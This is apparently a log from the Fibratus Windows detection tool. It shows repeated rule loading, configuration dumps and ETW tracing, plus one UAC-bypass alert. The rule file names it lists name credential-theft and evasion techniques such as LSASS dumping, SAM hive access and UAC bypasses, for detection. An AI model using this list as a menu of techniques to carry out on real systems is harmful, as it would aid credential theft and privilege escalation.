level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:50:13+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:50:13+01:00 level=info msg=bootstrapping with pid 19528. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:50:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-dns=>false min-buffers=>16 max-buffers=>36 enable-audit-api=>true enable-net=>true flush-interval=>1s enable-registry=>true enable-threadpool=>false enable-fileio=>true enable-mem=>false enable-image=>true enable-vamap=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-backups=>15 level=>info log-stdout=>true max-size=>100] + output ......................... [ amqp=>[ routing-key=>fibratus vhost=>/ delivery-mode=>transient exchange=>fibratus enabled=>false exchange-type=>topic durable=>false tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 passive=>false] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false index-name=>fibratus healthcheck=>true bulk-workers=>1 flush-period=>1s timeout=>5s enabled=>false gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus] http=>[ enable-gzip=>false enabled=>false method=>POST tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:50:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:50:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:50:30+01:00 level=info msg=sending alert: [UAC bypass via command handler hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:50:35+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:50:35+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:50:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:51:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:51:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:51:03+01:00 level=info msg=bootstrapping with pid 11232. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:51:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-image=>true enable-mem=>false stack-enrichment=>true enable-thread=>true buffer-size=>512 enable-registry=>true flush-interval=>1s min-buffers=>16 enable-dns=>false enable-vamap=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-backups=>15 max-age=>0 level=>info formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false exchange-type=>topic routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient passive=>false url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s enabled=>false trace-log=>false flush-period=>1s bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s sniff=>false gzip-compression=>false healthcheck=>true template-name=>fibratus] http=>[ method=>POST enabled=>false enable-gzip=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:51:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:51:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:51:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:51:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:51:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:51:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-12-05T15:51:43+01:00 level=info msg=bootstrapping with pid 19852. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:51:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 max-buffers=>36 enable-thread=>true flush-interval=>1s enable-image=>true enable-mem=>false enable-handle=>false enable-threadpool=>false enable-vamap=>true enable-registry=>true enable-fileio=>true enable-dns=>false enable-audit-api=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 log-stdout=>true max-size=>100 level=>info max-backups=>15] + output ......................... [ amqp=>[ timeout=>5s exchange=>fibratus tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic vhost=>/ delivery-mode=>transient] elasticsearch=>[ index-name=>fibratus enabled=>false gzip-compression=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck=>true sniff=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true excluded-files=>[] scan-timeout=>10s skip-mmaps=>false enabled=>false skip-registry=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:51:44+01:00 level=info msg=starting 